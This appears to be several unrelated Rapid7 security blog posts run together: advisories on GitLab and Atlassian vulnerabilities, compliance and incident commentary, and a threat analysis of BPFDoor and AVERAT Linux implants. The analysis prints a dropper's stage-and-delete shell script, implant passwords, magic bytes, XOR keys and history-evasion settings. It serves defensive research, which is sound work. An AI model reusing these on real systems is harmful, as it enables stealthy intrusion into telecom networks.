Overview

On October 12, 2026, GitLab published a critical patch release for CVE-2026-97229, an integer overflow or wraparound (CWE-190) in the CI/CD regular expression compiler affecting GitLab Community Edition (CE) and Enterprise Edition (EE). GitLab assigned the vulnerability a CVSSv3.1 score of 10.0. Under certain conditions, a remote attacker can execute arbitrary code on an affected GitLab server through a specially crafted regular expression stored in a malicious CI/CD configuration. While the vendor supplied CVSS score indicates that exploitation is fully unauthenticated, in reproducing the exploit it was noted that an attacker must have a mechanism to plant a malicious CI/CD configuration to a repository prior to triggering the vulnerability. On GitLab instances where new users can self register and create projects, this constraint is removed.

The vulnerability affects self-managed GitLab instances across all deployment types. GitLab.com is already running a patched version, and GitLab Dedicated customers do not need to take action.

As of this writing, there is no confirmed in-the-wild exploitation of CVE-2026-97229. However, Rapid7 Intelligence has independently reproduced arbitrary code execution on an unpatched, official GitLab CE image. Given the vulnerability's maximum CVSS score, network-accessible trigger, and code execution in a GitLab application worker, Rapid7 recommends upgrading affected self-managed instances on an urgent basis, outside of normal patch cycles.

Technical overview

Rapid7's testing found that an attacker must first be able to commit a malicious CI/CD configuration file .gitlab-ci.yml, and a repository path containing UTF-8 characters to a branch in a public project. For example, an ordinary account can satisfy this prerequisite by creating a public project on a self-managed GitLab instance where that functionality is permitted. 

The crafted regular expression initially compiles in a compact US-ASCII representation and passes GitLab's regular expression validation. When it is evaluated against a specially formed, valid UTF-8 repository path, Ruby's Onigmo regular expression engine recompiles it for the new encoding after those checks have completed. An integer overflow in the compiler's program-size calculation then causes invalid regular expression instructions to be generated. The resulting loss of control-flow integrity can be used to execute attacker-controlled Onigmo VM operations in the Ruby process and run an operating system command as the GitLab git user.

Rapid7 validated the complete chain against the official GitLab 19.4.1 CE Linux amd64 image with address space layout randomization enabled. The same input did not execute against the official patched 19.4.2 CE image. Further root cause and exploit-chain details will be included in a separate Rapid7 technical analysis.

Mitigation guidance

A vendor-provided patch is available to remediate CVE-2026-97229. Organizations running affected self-managed GitLab CE or EE instances should immediately upgrade to a fixed version, without waiting for a regular patch cycle:

GitLab.com has already been updated, and GitLab Dedicated customers do not need to take action. Until affected self-managed instances can be upgraded, restricting anonymous access to public projects and preventing untrusted users from creating or writing to public projects can reduce exposure to the exploit path demonstrated by Rapid7. These controls address only the demonstrated delivery path and do not remediate the vulnerable regular expression compiler.

For the latest mitigation guidance, please refer to GitLab's security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-97229 with an authenticated vulnerability check expected to be available in today’s (October 13) content release.

Updates

• October 13, 2026: Initial publication.

In Part 1 of this series, we looked at the security challenges created by fragmented, campus-by-campus environments. Higher education also faces a second pressure that makes that fragmentation harder to sustain: overlapping compliance obligations across FERPA, GLBA, HIPAA, and CMMC.

Each framework brings different requirements, reporting timelines, and consequences for failure. Managing them across one institution is already complex, but across a multi-campus university system with separate tools, staff, data stores, and governance practices, it becomes much harder to establish what happened, what data was involved, and which reporting requirements apply. With universities already facing an average of 4,388 cyberattacks per organization per week, according to the figures cited in Part 1, that regulatory complexity is becoming an operational security problem as much as a compliance one.

FERPA puts universities on a 24-hour clock

The Family Educational Rights and Privacy Act has governed the privacy of student education records since 1974, but the pressure on security teams becomes much more immediate when financial aid information is involved. If a breach compromises that data, institutions must notify the Department of Education’s Federal Student Aid office within 24 hours of discovery, leaving very little time to establish the scope of an incident while the response is still underway.

A ransomware attack discovered at 9 PM on a Friday makes the challenge easier to picture. By 9 PM Saturday, the institution may need to determine whether financial aid data was involved, understand which systems and students were affected, coordinate with legal teams, and prepare regulatory notification, all while investigators are still containing the incident and establishing what else the attackers accessed. In a multi-campus environment, that gets harder when financial aid data is spread across separate systems or when the initial discovery happens well after the compromise began.

GLBA brings financial-sector obligations into higher education

Universities may not look like traditional financial institutions, but their role in student lending and financial aid brings them within the scope of the Gramm-Leach-Bliley Act’s Safeguards Rule. Covered institutions are expected to maintain a written information security program addressing areas including risk assessment, access controls, encryption, multi-factor authentication, incident response, and vendor oversight.

Reporting requirements can add further pressure. If a security event affects 500 or more consumers, the draft notes that institutions must notify federal law enforcement immediately after discovering the breach. In a university environment, where shared financial aid systems may contain records belonging to thousands of students across multiple campuses, that threshold can be reached quickly.

The multi-campus structure matters here because financial aid data rarely follows neat organizational boundaries. Students transfer between campuses, shared services may centralize information, and one system may support several institutions. A breach that begins at one campus can therefore create obligations for the wider university system, making it important to understand the scope of the incident beyond the environment where it was first detected.

HIPAA reaches well beyond the university hospital

Protected health information can exist across a much wider university environment than the hospital alone. Student health centers, counseling services, physical therapy programs, and research projects involving human subjects may all create, receive, transmit, or maintain health data, sometimes through systems that have been procured and managed separately from central IT.

A mid-sized university with a health clinic, counseling center, physical therapy program, and clinical research lab, for example, could be handling significant volumes of PHI across several independently managed environments. If one of those systems is compromised, the security team needs to establish quickly whether health information was involved and how far the incident spread.

Under the requirements set out in the draft, breaches affecting 500 or more individuals must be reported to the Department of Health and Human Services within 60 days of discovery, while some incidents also trigger media notification requirements. For universities operating across several states or with online programs, the picture becomes more complicated again. Without a reliable view of where PHI resides across the institution, determining whether those reporting obligations have been triggered can itself become part of the incident response challenge.

CMMC raises the stakes for university research

CMMC creates a different kind of pressure for institutions conducting Department of Defense-funded research or handling Controlled Unclassified Information. Research computing environments are often among the most decentralized parts of a university: individual labs build their own systems, principal investigators make independent technology decisions, and networks can evolve over years without the consistency found in centrally managed administrative IT.

CMMC Level 2 requires organizations to demonstrate implementation of 110 security practices drawn from NIST 800-171. Meeting those requirements across a diverse research estate can be difficult without limiting the flexibility researchers need to conduct their work. For institutions that rely heavily on federal research funding, the consequences also extend beyond a conventional compliance penalty because failure to meet CMMC requirements can affect contract eligibility.

One incident can trigger several compliance obligations

The real operational difficulty appears when several of these frameworks apply to the same incident. A large research university may operate student financial aid systems, health services, a hospital, and DoD-funded research environments, creating the possibility that FERPA, GLBA, HIPAA, and CMMC obligations all come into play during one investigation.

Imagine ransomware is first detected on a shared administrative system. As the investigation develops, the compromised account is found to have accessed financial aid records, student health information, and a research environment containing CUI. The university now has to understand several categories of regulated data, determine which reporting thresholds have been met, coordinate with different agencies, and maintain the evidence required for each process while still responding to the attack.

That is difficult even with centralized visibility. When security data, incident records, and compliance evidence sit across different campus tools and teams, building a reliable picture of the incident takes longer and introduces more opportunities for information to be missed.

Preparing for compliance across a multi-campus system

Meeting overlapping compliance requirements depends on being able to answer a relatively small set of questions quickly: where regulated data lives, whether it was affected, how the attacker reached it, and what happened next. University systems need enough shared visibility across campuses to answer those questions without reconstructing the entire incident manually every time something happens.

That includes consistent data classification, centralized access to security and compliance evidence, and incident response processes that have already been tested against the reporting windows institutions may face. Automation can also help teams establish the scope and context of an incident more quickly, particularly where reporting deadlines are measured in hours rather than days.

The aim is to preserve the autonomy individual campuses and research environments require while giving the wider university system enough visibility and coordination to respond consistently when regulated data is involved. As the number of overlapping obligations grows, fragmented security becomes harder to separate from compliance risk.

In Part 3 of this series, we’ll look at how a consolidated security architecture can support that model across multiple campuses, from shared visibility and threat intelligence to more coordinated detection and response.

Rapid7 helps more than 11,000 organizations worldwide take command of their security. Learn more at rapid7.com/sled.

Overview

On October 5, 2026, Atlassian published a security advisory for CVE-2026-21589, a critical arbitrary file access vulnerability affecting eight products: Bitbucket Data Center, Confluence Data Center, Jira Service Management Data Center, Jira Software Data Center, Bamboo Data Center, Crowd Data Center, Crucible, and Fisheye. Atlassian assigned the vulnerability a CVSSv4 score of 9.3. An unauthenticated remote attacker who knows a target file's exact name and path can access it within the application's web root; the vulnerability does not provide directory listing or enumeration.

Atlassian's advisory treats all versions before the applicable fixed releases as affected, including unsupported versions. Affected Atlassian Cloud products have already been patched, and no action is required from Cloud customers.

Detailed technical analysis and file-read proof-of-concept scripts are public, so Rapid7 recommends patching on an emergency basis, outside of normal patch cycles, and reviewing access logs for attempted exploitation.

Technical overview

NVD lists files or directories accessible to external parties (CWE-552) as the weakness associated with CVE-2026-21589.

On October 6, watchTowr Labs published a technical analysis based on comparisons of vulnerable and patched Jira, Confluence, and Bitbucket packages. Their analysis identified a path traversal vulnerability in Atlassian's web-resource handling: double-colon (::) sequences can become path separators during request processing, allowing traversal components to reach the resource-loading code, resulting in the contents of arbitrary file being read back to an attacker.

Their testing could not traverse outside the Tomcat context, but could read files throughout the application web root. In an Atlassian Crowd deployment that had Jira configured, reading WEB-INF/classes/crowd.properties exposed application credentials. With network access to Crowd, they used those credentials to create a user and add it to jira-administrators; Crowd's IP allowlisting can block this direct route.

Mitigation guidance

Organizations should upgrade each affected installation to a listed fixed version or the latest available version. Atlassian's October 5 advisory lists the following fixed versions:

Organizations unable to patch immediately should remove affected instances from the internet or otherwise restrict them from external network access. Atlassian provides a Web Application Firewall or proxy rule for all affected products, a Tomcat RewriteValve mitigation for Confluence, Jira Service Management, Jira Software, Bamboo, and Crowd, and a separate urlrewrite.xml rule for Bitbucket. These mitigations are limited and are not replacements for patching.

Rapid7 strongly recommends looking for signs of compromise even after the patch has been applied. Atlassian recommends URL-decoding each access-log request line up to twice, then searching for .. immediately adjacent to /, \, or ::. Alternatively, search raw logs with the vendor-supplied regex:

(?is).*(?:/|\\|::|%(?:25)*(?:2f|5c)|(?::|%(?:25)*3a){2})(?:\.|%(?:25)*2e){2}(?:/|\\|::|%(?:25)*(?:2f|5c)|(?::|%(?:25)*3a){2}|;|%(?:25)*3b|$).*

Public testing artifacts for Jira, Confluence, and Bitbucket include a Python file-read PoC and a Nuclei template. If investigation identifies access to protected configuration files, organizations should rotate exposed credentials and other secrets after containing the affected systems.

For the latest mitigation and investigation guidance, please refer to the vendor security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-21589 with unauthenticated vulnerability checks on Jira Software Data Center available in the October 8 content release.

Updates

• October 7, 2026: Initial publication.

• October 8, 2026: Updated Rapid7 Customers section to reflect availability of vulnerability checks.

This week, ASOS customers opened their phones to find a hostile push notification delivered through the retailer’s own app. The message claimed the company’s Snowflake environment had been compromised and directed ASOS to engage with the sender through Telegram. ASOS later confirmed to Sky News that an unauthorized customer notification had been sent and said it was investigating activity involving third-party platforms used to communicate with customers. The company also said basic personal information, including names and contact details, may have been accessed, while payment-card information and account passwords were not believed to be affected.

The attackers’ wider claims remain unverified, and Snowflake told Sky News that its investigation had found no compromise of the Snowflake platform at that point. Even without knowing the full route into ASOS’s environment, though, the notification raises a useful question for security teams: what happens when an attacker can communicate through a channel customers already trust?

When the message comes from the real app

Most security awareness advice assumes there will be something suspicious for the recipient to notice. The sender might be unfamiliar, the domain slightly wrong, or the request out of character. Those checks become much less useful when the message arrives through the genuine app sitting on someone’s phone.

Attackers have already been moving in this direction elsewhere. Rapid7 research into calendar-based phishing showed how malicious content can appear inside familiar workflows, while our earlier look at how social engineering is evolving explored the growing use of collaboration tools and other everyday platforms to make attacks feel routine.

The ASOS incident moves that problem into a customer-facing environment. Once an attacker has access to a system that can speak on behalf of a business, the trust built around that system can work in the attacker’s favor too.

"Let's face it, an attacker would much rather borrow trust that already exists than spend time building their own. Our recent Zimbra research is a good example, because once you can impersonate a sender or edit a calendar from inside the platform, everything the victim checks lives in a system they have no reason to question. I can't say how this one happened, but a notification coming out of a real app gives an attacker that same head start. There is no strange domain or unfamiliar sender to catch, so the activity can look a lot like a normal Tuesday afternoon." Douglas McKee, Director, Vulnerability Intelligence at Rapid7

What suspicious activity looks like inside legitimate services

An attacker does not always need obviously malicious infrastructure to create damage. A legitimate account, integration, or SaaS platform used in an unexpected way can provide access to employees, customers, or partners while generating activity that may look relatively ordinary when viewed on its own.

If a customer communications service suddenly sends an unusual notification, the security team needs to understand what happened around it: who accessed the platform, whether credentials or permissions changed, which connected services were involved, and whether suspicious activity appeared elsewhere in the environment.

ASOS said the activity involved third-party platforms used for customer communications, while TechRadar reported that the claimed Snowflake connection could potentially have been indirect through services running on the platform rather than evidence of a compromise of Snowflake itself. That kind of environment can leave investigators working across several providers, identities, and systems before they have a complete picture of what happened.

MDR has to follow the activity across the environment

When attackers use legitimate identities, integrations, cloud services, or communication platforms, analysts need to connect behavior across systems rather than depend on a known-bad IP address or malware signature to tell the story. An unexpected authentication, a permission change, third-party access, or unusual activity from a customer-facing service may not be enough to raise the alarm independently, but the sequence can reveal a much clearer pattern.

A preemptive MDR approach brings those signals together across endpoints, identities, cloud environments, and other parts of the attack surface so analysts can investigate the activity in context. Businesses now rely on a growing number of SaaS services and external platforms that can act on their behalf, and although security teams may not operate every one of those systems directly, they still need to understand what access they hold, how they connect to the wider environment, and how misuse would surface.

That becomes particularly relevant when a third-party service can communicate externally in the organization’s name. Access to the platform is only part of the picture; teams also need visibility into how that access is being used and whether activity elsewhere suggests the account or integration has been compromised.

The first message can create a second wave of risk

A visible incident can give other attackers useful material. Once customers know something has happened, a phishing email or text offering an account update, refund, password reset, or security check immediately has a credible event behind it.

Rapid7 research into digital footprint exposure has shown how breached information can be combined with publicly available data to support more convincing phishing, impersonation, and fraud. Names and contact details may appear relatively limited compared with passwords or payment information, but they can still become valuable when combined with a real incident and a recognizable brand.

The investigation therefore has to support several decisions at once: understanding the technical scope, establishing which customer or business data may have been involved, working with third-party providers, assessing regulatory obligations, and preparing for the possibility that the incident will be reused in follow-on attacks.

As more customer communication moves through apps, SaaS platforms, automated workflows, and third-party services, security teams need visibility into how those channels are being used as well as who can access them. The earlier unusual activity can be connected across those systems, the more room analysts have to investigate and respond before a trusted channel becomes part of a much larger incident.

As organizations deploy autonomous AI agents, security teams face a significant shift as non-human non-human entities making decisions, invoking tools, and delegating tasks to other agents without human intervention. Security architectures built around human users, static APIs, and distinct endpoints break down when AI agents dynamically collaborate across an environment. 

As these interactions become more common, securing agent-to-agent communication without blocking adoption will require security leaders to treat autonomous agents as first-class identities, with their own permissions, behaviors, and activity to monitor.

The operational reality: A new attack surface

Consider a standard enterprise scenario where a primary agent delegates a task to a secondary agent, which then queries a production database through the Model Context Protocol and forwards a summary to external infrastructure. Traditional controls may struggle to capture the complete interaction, leaving security teams without visibility into intent, delegation chains, and scope of authority and introducing five security challenges that deserve particular attention:

1. Identity and delegation chaining requires verifying an agent’s identity while ensuring its delegated authority never exceeds the permissions of the initiating user.

2. Behavioral drift creates detection blind spots because when autonomous agents adapt execution paths dynamically, distinguishing normal operational variance from compromise or prompt injection becomes extremely difficult.

3. Tool and protocol abuse allows agents to invoke APIs and tools autonomously, meaning that without strict guardrails, an agent quickly becomes an unwitting vector for data exfiltration or unauthorized execution.

4. Cascading access can create systemic risk when a compromised high-privilege agent influences secondary agents and expands access across interconnected enterprise systems.

5. Observability gaps arise when fragmented API logs cannot reconstruct multi-agent decision paths or explain why a particular action took place.

How agent activity fits existing security operations

Agent-to-agent communication can be treated as an extension of the security telemetry teams already collect across users, endpoints, cloud workloads, and applications. Bringing agent identities, delegation paths, tool invocations, and data access into the same investigation model allows existing detection engineering and behavioral analytics practices to evolve alongside agentic workloads.

For example, when a user initiates an action through a primary agent that delegates work to a secondary agent, the resulting identity chain and tool activity can be correlated with authentication events, endpoint activity, and network logs. This gives analysts a more complete investigation timeline, from the initiating user through each agent and tool involved.

Entity-based context expands the security model beyond users and devices to include AI agents as entities, allowing analysts to trace activity from the initiating user through sub-agents and tools.

Behavioral analytics can similarly extend from User Behavior Analytics toward Agent Behavior Analytics. By establishing baselines for how agents normally behave, detection engines can identify anomalies such as unexpected inter-agent communication, sudden privilege escalation, or unusually high-volume transfers.

Managed detection and response can incorporate agentic telemetry alongside the users, endpoints, and cloud workloads already monitored. Investigation workflows can then account for agent relationships, delegated actions, and tool invocations as part of the wider security picture.

Separation of duties remains important at the execution layer, where authorization gateways can enforce preventative policies while security operations maintain the broader visibility and behavioral detection needed when controls are misconfigured or bypassed.

How security teams can prepare for agent-to-agent communication

Security teams can begin preparing for autonomous agent workloads by extending familiar identity, telemetry, and least-privilege practices into agentic environments:

1. Audit custom and third-party AI agents operating across the environment, including their active communication paths and tool access levels.

2. Enforce least-privilege delegation by using temporary, task-scoped credentials tied to specific job definitions rather than persistent administrative permissions.

3. Standardize telemetry requirements so teams capture structured logs for inter-agent delegation, tool invocations, and dataset access.

4. Feed agent event streams into the Rapid7 platform to support behavioral detections for identity anomalies, authorization drift, and high-frequency communication between previously unlinked agents.

Build agent security into the SOC before autonomy scales

Agent-to-agent security is still evolving, but security teams can begin preparing now by extending principles they already understand across identity, access, visibility, and detection. Strong identity, least privilege, behavioral analytics, continuous monitoring, and detection and response provide a practical foundation for governing autonomous agents as they interact with systems and with one another.

As agent adoption grows, organizations will also need to make these interactions visible as part of normal security operations. For Rapid7 customers, agent activity could increasingly become another source of security telemetry and behavioral context, allowing analysts to follow the full chain from the initiating identity through delegated agents, tool invocations, and data movement.

The practical objective is to enable trusted agent collaboration while keeping each identity, delegation, action, and data movement observable, governed, and accountable. Organizations that begin building that visibility now will be better positioned to adopt autonomous agents without allowing their speed and flexibility to outpace the controls designed to protect the business.

Overview

Rapid7 tracked a set of Linux samples that blend into the software and device conventions of the telecom environments they target. The set spans a newly observed BPFDoor variant, a BPF Rekoobe build seen against South Korean targets, a dropper, and six builds of a Linux implant we track as AVERAT, deployed against Taiwanese appliances. Additionally, we provide source code details of the Rapid7 BPFDoor controller introduced in our April 2026 blog, Stealthy BPFDoor Variants are a Needle That Looks Like Hay.

The chain uses two binaries. A dropper writes a shell script to the appliance's storage mount and executes it. The script stages both payloads into /sbin under the names ntpdate and udevds, launches them, and deletes each file ten seconds later while the processes continue running. One of those payloads is the dropper itself, re-executing as a resident watchdog, leaving both processes running without an on-disk image.

The dropper derives its encryption key from the string ShareTech and lives in the appliance's own add-on package directory. The BPFDoor variants seen against South Korean systems impersonate the PID file of SpamSniper, a Korean anti-spam product, and rotate through ten Linux daemon names. Across the samples, each component adopts names and conventions designed to look unremarkable in the environment it targets.

The common thread is regionalized disguise: each sample is aware of the vendor’s software running on the targeted systems and implements process spoofing accordingly. Passive BPF implants avoid conventional port scans; while outbound beacons hide inside ordinary DNS, TCP, and traffic, the threat-actor(s) are leveraging SMTP to stay under the radar. Telecommunications and network-edge operators are most affected, including embedded devices such as CCTV and DVR systems that can sit close to the network core. Readers will learn how each component works, what binds the six AVERAT builds to one another, and which behaviors and indicators to hunt for.

Technical analysis 

Rapid7 BPFDoor controller

⠀

Following our introduction of the Rapid7 BPFDoor controller, published in March, this section examines new features from the reconstructed source code.

Earlier BPFDoor variants relied on raw "magic bytes" (like 0x7255 or 0x5293) sitting in the TCP or UDP headers. Once security vendors wrote static network signatures (Suricata/Snort) to detect these Layer 4 anomalies, the operators began targeting the edge proxies. By wrapping the magic packet in standard HTTPS POST requests and relying on SSL offloading common in telecom environments, the trigger can be delivered to the BPFDoor-infected node in a way that may evade conventional deep packet inspection.

Because proxies alter HTTP headers (adding X-Forwarded-For and changing User-Agent lengths), the malware can no longer rely on static byte offsets to find its payload. To solve this, the new controller sends fake, benign-looking web requests (e.g., POST /admin/login.aspx?id=99990) that are mathematically padded. This guarantees that the string "9999" lands at exactly offset 26 of the TCP payload consistently.

The backdoor uses this "9999" as a reference point, dynamically scans for the \r\n\r\n terminator, and extracts the hex-encoded command payload from the HTTP body.

The dogetlogin function contains the hardcoded paths blending in with legitimate requests:

⠀

When running, the controller spoofs the identity of /usr/sbin/abrtd via set_proc_name and PR_SET_NAME. The #ifndef SOLARIS compiles safely across different operating systems, applying the abrtd disguise only where the Linux-specific prctl function is supported.

⠀

The table below lists the Rapid7 controller flags, with new features identified relative to the TrendAI analysis marked accordingly.

Table 1: Rapid7 BPFDoor Controller Flags and Descriptions

A new BPFDoor variant tied to the South Korean cluster

The BPFDoor variants create a raw PF_PACKET socket, attaching a classic BPF filter matching Rapid7 Variant F and using magic bytes 0x6693 (UDP), 0x4274 (TCP) and 0x7820 (ICMP). On a match, the implant extracts the source address and connects back to the sender if the password is gZbpx0, opens a bind shell if the password is sT21xf, and otherwise defaults to a UDP knock.

Strings are hidden with a rotating substitution alphabet. Decoding reveals a direct product-spoofing artifact and a set of service-name disguises. The SpamSniper /var/run/spamsniper.pid mutex, together with the sample provenance, ties this build to the South Korean cluster.

List of spoofed processes:

[watchdogd]                           /usr/sbin/chronyd
/usr/lib/polkit-1/polkitd --no-debug  /usr/sbin/rsyslogd -n
[scsi_tmf_6]                          /usr/sbin/crond -n
/usr/sbin/NetworkManager --no-daemon  /usr/bin/python -Es /usr/sbin/tuned -l -p
[charger_manager]                     [kaluad_sync]

⠀

SpamSniper is antispam software used mainly in South Korea, so this masquerade is consistent with targeting a Korean mail or telecom environment. The variants a37ea9897221d4495b538de72b74f2aa1d2ff09b7b6dcedd395aee58931adbf3 and 7e667ba5f9df912e02275d3cfe3809d16f822fe776f4035c84b118ebd925b1b5 share the same filter, packet parser, callback, and command paths.

The data plane variant

The BPFDoor sample (a6f3b7f932761fb1fd5e74123f2482e36c65dd13e769af2ce08c65da195bfa7a) attaches a SOCK_RAW 16-BPF instructions parsing IP/TCP offsets and gates on a 14-byte payload (2B 76 C0 63 83 E9 5F E1 EE 69 3F 32 CD 94, unique per sample).

⠀

It spoofs its process name to ora_ppmond, mimicking the naming convention of Oracle-backed telecom subscriber and provisioning platforms (HSS, OSS/BSS), a disguise that only reads as legitimate on hosts actually running that class of infrastructure. Once triggered, it opens a stock Tiny Shell session and dispatches single-byte 'S'/'U'/'D' commands — interactive shell, upload, download — the same switch-case and iptables NAT-redirect staging/teardown logic found byte-for-byte in a second sample 4435fcd6862921092614dbeaa880e4192352984686ebcd98f0ba13ee8e226ef9 (the latter spoofing /sniper/snipe/bin/dtnpd and /sniper/bin/ofgmd). These samples show BPFDoor operating as a modular framework that adapts to the telecom layer it targets, integrating Tiny Shell and Rekoobe logic to support exfiltration.

⠀

BPF Rekoobe 

The sample 652508a9cf40bee883dc0e5e219dfeba71fe7dac591d01c89f74c21f73b4963f is a Rekoobe-based backdoor. It attaches a 26 BPF instruction filter, sniffing for TCP/UDP/SCTP IPv4 and UDP IPv6 traffic with source and destination ports equal 25. Strings are protected with a repeating-key XOR routine (uvTIgh47,@#R), which decodes internal markers and command tokens. The magic packet is authenticated against a 32-byte sequence: 5C A3 1E F9 72 84 DB 40 26 9F C8 35 E1 7D 0A B2 4D 68 93 0F E7 5A B4 21 8C D6 39 F2 47 1B 60 CE. C2 interactions begin by sending the following 12-byte handshake: 50 01 13 3F 08 5C 73 7B 1A 72 53 78 (decrypting to "%wGvo4GL62p*" using the XOR key above).

Process names are drawn from an encrypted table and set through argv rewriting (Table 2).

Table 2: BPF Rekoobe Spoofed Process Names

On a SpamSniper appliance, SMTP server-to-server relay traffic is the primary legitimate traffic type the appliance is designed to handle. A firewall in front of the appliance will commonly allow rules such as:

ACCEPT tcp --sport 25 --dport 25  (MTA relay)
ACCEPT tcp --dport 25             (inbound mail)

A magic packet with src=25, dst=25 would match the first rule and reach the raw socket before any stateful inspection. The implant authors understood exactly what traffic profile would be invisible on this specific class of host.

The command interface relies on the same cryptography (HMAC-SHA1, AES-CBC) and opcodes as the standard Tinyshell/Rekoobe.

By setting variables like VIMINIT="set viminfo=", HISTFILE=/dev/null, HISTSIZE=0, and HISTFILESIZE=0, the malware ensures that the attacker's commands are not logged to bash history nor to vim logs. The reverse shell spoofs "/sniper/autorun/rblsmtpd --start -n 9" and connects on the attacker's port 25. Rblsmtpd is a standard daemon used by mail servers (like qmail) to block mail from IPs listed in Real-time Blackhole Lists (RBLs).

A dropper likely built for ShareTech appliances

The dropper (update:2bedc26d4b29b435c21962beed7db21188a0219a0d28334bba8b4fb1656d7b15) is an x86-64 ELF with a minimal import table — fopen, fwrite, fputs, fclose, chmod, system, strlen, sleep, access, memcpy, exit — and no networking. It is a local installer, run after access is already established.

It carries four AES-128-ECB blobs keyed on the first sixteen bytes of SHA1("ShareTech"), or 6C CA D5 17 0E 3D B8 17 B3 DF 52 E0 D9 71 B1 48. The operators seeded their own key derivation with the target vendor's name.

⠀

The blobs decrypt to three paths and a script:

/tmp/flag                        (precondition gate — checked, never written)
/HDD/ms6x2xTo64/updIptable.php   (shell script under a .php extension)
/HDD/ms6x2xTo64/execProcEnd     (watchdog marker)

#!/bin/sh
/bin/cp -f /addpkg/sbin/update /sbin/ntpdate
chmod 755 /sbin/ntpdate
/sbin/ntpdate &
sleep 10
rm -rf /sbin/ntpdate
/bin/cp -f /addpkg/sbin/agetty /sbin/udevds
chmod 755 /sbin/udevds
/sbin/udevds &
sleep 10
rm -rf /sbin/udevds

⠀

Execution is gated on one precondition: the install branch fires only when /tmp/flag already exists on the filesystem and the .php script does not. When the gate passes, the dropper writes the script to the appliance's bulk-storage mount, chmods it 0777, hands it to system(), and exits. Because system() runs sh -c against a file carrying a real shebang, /HDD must be both writable and exec-capable. A noexec mount returns EACCES, for which the shell offers no interpreter fallback.

The script then copies two malicious binaries from /addpkg into /sbin as ntpdate and udevds, runs each, and unlinks them ten seconds later. Both keep running with no on-disk image: /proc/<pid>/exe resolves to (deleted), so there is nothing to hash, quarantine or submit, and a responder grepping /sbin finds nothing at all.

The elegant part is that /sbin/ntpdate is the dropper re-executing itself; the second instance finds the .php already present, fails the gate, and drops into a two-second watchdog that recreates execProcEnd and re-writes the script whenever either disappears. That also explains the absence of any persistence code: /addpkg/sbin/ is the appliance's own add-on package directory, so the firmware's package startup very likely relaunches it at boot.

AVERAT: A modular implant reaching into ORB

The dropper copies AVERAT into /sbin/udevds, marks it executable, launches it, sleeps ten seconds, and removes it. 

Command and control

The implant connects outbound to port 25 and speaks SMTP: it issues EHLO, requests STARTTLS, and only then begins its own encrypted session. On a mail security gateway, outbound SMTP to arbitrary mail exchangers is the device's core function, so the traffic is indistinguishable from legitimate work in flow records.

The TLS layer is hand-built rather than linked from a standard cryptographic library. A fixed ClientHello template is compiled into the binary, including a 40-entry cipher suite list and a fixed extension ordering. Peer authentication is deferred entirely to the application layer via a shared-secret handshake carrying the magic value 1571 (0x0623).

Check-ins occur every 600 to 699 seconds. Each reports hostname, current user, OS version, network interfaces, and logged-in users. The interval is stored in a hidden file at /var/lib/.db and can be changed by the operator, persisting across restarts.

⠀

AVERAT takes its name from its only disk artifact: var, which reads as AVE when XOR-encoded (Figure 7).

Configuration

All operational values are held in a 276-byte encrypted blob. The key is derived from the blob's own first 16 bytes, folded with a further byte and a reverse XOR cascade; that key seeds RC4's key-scheduling algorithm, and the resulting S-box is used directly as a keystream. Each field starts at its own keystream offset, and the parity of that offset selects whether bytes are bitwise-inverted or nibble-rotated before the XOR.

Decrypted, the blob yields three 16-byte keys (transport, authentication, and a secondary handshake secret), the host table, the port table, a three-byte build tag, the timing state, and the .db path.

⠀

The schema provides three host and port pairs; this build populates one.

⠀

Rapid7 developed an extractor for the AVERAT family. Figure 10 shows the results for the samples identified at the time of writing.

⠀

The MAC key and aux key are byte-identical in all six, while only one stream key is shared between a pair (Figure 10).

Command set

Command codes are uint16 values grouped into bands by subsystem. The most operationally significant are below.

Table 4: AVERAT Command Codes and Capabilities

Infrastructure

The three IP addresses recovered from the configs represent compromised CPE belonging to third-party victims rather than intentional operator assets. Scan data shows all three sitting in Chunghwa Telecom's HiNet address space (AS3462), in three separate Taiwanese cities — Tainan, Banqiao and Taoyuan — each representing a distinct class of neglected, internet-facing consumer or SMB appliance.

59.125.211.65 is a Synology NAS belonging to a Taiwanese fuel-retail business, still serving a Laravel-based "cloud management system" on 81/82 behind a Let's Encrypt certificate that expired in October 2021, alongside an exposed MariaDB 5.5.62 instance that reached end of life in 2020. 122.116.138.33 is an embedded Taiwanese ADSL/FTTH SMB network appliance — gSOAP 2.8 on 8000 with a recording-management interface, HTTP Basic realms named SMB on 8081, 8082 and 10443, and a self-signed NetKlass Technology certificate valid from 2004 to 2014, MD5-signed with a 1024-bit key. 1.34.200.85 is a Dahua DH-XVR5116HS-I3 recorder. These are victim hosts repurposed as operational relays, selected on consistent criteria: reachable, unpatched, unmonitored, and unlikely to be audited.

The detail that binds them is PPTP on 1723, present on all three, returning a byte-identical banner (Firmware: 1, Hostname: local, Vendor: linux, fingerprint 261189147). A Dahua XVR ships no PPTP server. Synology's DSM offers one only as an optional package, disabled by default and deprecated in current releases. We assess this as operator-installed, which makes each node dual-purpose: an outbound relay terminating SMTP-disguised implant traffic, and an inbound routed VPN foothold into the host's own LAN. Combined with the RAT's own proxy commands, the campaign has relay capability at both ends of the connection.

The campaign is running two distinct C2 addressing strategies:

Table 5: C2 Addressing Strategies Comparison

The relay layer is composed of consumer and small-business broadband CPE: a fuel retailer's NAS, an obsolete NetKlass appliance, and a CCTV recorder, each sitting on a domestic-grade line.

AVERAT's command-and-control infrastructure matches the device-class profile that CISA, NCSC-UK, and partner agencies described in their April 2026 joint advisory (AA26-113A) as the standard building blocks of China-nexus covert/ORB networks: end-of-life NAS, edge appliances, and DVRs chosen because their vulnerabilities will never be patched. We found no infrastructure or indicator overlap with any specific named ORB network (LapDogs/UAT-7810, SPACEHOP, or FLORAHOX), whose documented targeting instead centers on SOHO routers; AVERAT's infrastructure is consistent with the broader ORB device-class pattern rather than confirmed membership in a known network.

Operator tradecraft

Three design decisions indicate operational maturity.

The dispatcher terminates the process on any unrecognized command code. This is inexpensive to implement and raises the cost of interactive probing or automated scanning against a live implant.

Support for ten concurrent shell sessions is consistent with provisioning for parallel operator access rather than a single interactive session..

The reboot handler calls sync() before forcing a restart through the kernel rather than through init. Flushing filesystem buffers before destroying volatile state is the behavior of an operator who knows precisely which artifacts persist across a restart and which do not — and in this chain everything happens in memory while the persistence needed to re-establish access is on disk.

Detection guidance

File-based detection on the appliance is unlikely to succeed, because no payload persists in /sbin. We recommend prioritizing the following.

